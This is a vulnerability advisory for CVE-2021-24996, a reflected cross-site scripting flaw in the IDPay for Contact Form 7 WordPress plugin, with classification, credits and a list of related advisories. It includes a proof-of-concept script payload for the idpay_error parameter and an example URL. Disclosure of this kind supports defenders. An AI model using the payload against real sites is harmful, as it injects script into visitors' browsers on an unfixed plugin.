IDPay for Contact Form 7 <= 2.1.2 – Reflected Cross-Site Scripting | CVE 2021-24996

Description

The plugin does not sanitise and escape the idpay_error parameter before outputting it back in the page leading to a Reflected Cross-Site Scripting

Proof of Concept

Append the following payload on a page where a form with an idPay payment interface is embed: &idpay_error=<script>alert(/XSS/)</script>

Example: https://example.com/contact-form/?idpay_error=%3Cscript%3Ealert(/XSS/)%3C/script%3E

Affects Plugins

idpay-contact-form-7

No known fix

References

CVE

CVE-2021-24996

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CWE-79

CVSS

6.1 (medium)

Miscellaneous

Original Researcher

Jeremie Amsellem

Submitter

Jeremie Amsellem

Submitter website

https://lp1.eu

Submitter twitter

lp1eu

Verified

Yes

WPVDB ID

6ee14423-f7ff-4433-987a-a1a6b7bd65e3

Timeline

Publicly Published

2021-11-23 (about 4 years ago)

Added

2022-02-15 (about 3 years ago)

Last Updated

2022-04-08 (about 3 years ago)

Other

Published

Title

Published

2024-10-31

Title

(dp) AddThis <= 1.0.2 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2024-05-23

Title

SEOPress < 7.6 - Contributor+ Stored XSS

Published

2022-10-28

Title

Slideshow SE < 2.5.6 - Subscriber+ Stored XSS

Published

2023-09-04

Title

Atarim < 3.9.4 - Admin+ Stored XSS

Published

2024-02-14

Title

Action Network < 1.4.3 - Reflected Cross-Site Scripting via 'search'